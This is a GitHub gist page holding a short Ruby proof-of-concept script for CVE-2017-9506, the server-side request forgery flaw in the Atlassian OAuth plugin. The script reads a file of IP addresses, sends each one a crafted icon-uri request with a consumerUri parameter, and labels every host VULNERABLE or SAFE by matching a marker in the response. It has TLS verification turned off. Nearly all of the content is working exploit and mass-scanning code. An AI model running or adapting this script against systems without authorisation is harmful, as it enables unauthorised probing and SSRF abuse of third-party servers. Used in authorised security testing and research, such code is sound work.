Skip to content

Instantly share code, notes, and snippets.

@Techbrunch
Created January 8, 2019 17:01
Show Gist options
  • Save Techbrunch/2d8f1aff55140f9c856500b8977649e3 to your computer and use it in GitHub Desktop.
Save Techbrunch/2d8f1aff55140f9c856500b8977649e3 to your computer and use it in GitHub Desktop.
POC CVE-2017-9506.rb
require 'httparty'
require 'colorize'
File.readlines(ARGV[0]).each do |ip|
ip.strip!
begin
print "ip: #{ip} - "
response = HTTParty.get("http://#{ip}/plugins/servlet/oauth/users/icon-uri?consumerUri=http://remote",
{timeout: 5, verify: false, headers: { "User-Agent" => "POC" }})
if response.code != 200 && response.code != 404
print "Status - #{response.code} - ".colorize(:yellow)
end
if response.body =~ /0643033901/i
puts "VULNERABLE".colorize(:red)
else
puts "SAFE".colorize(:green)
end
rescue HTTParty::RedirectionTooDeep
puts "Too many redirections".colorize(:orange)
rescue Net::OpenTimeout, Net::ReadTimeout
puts "Timeout".colorize(:yellow)
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment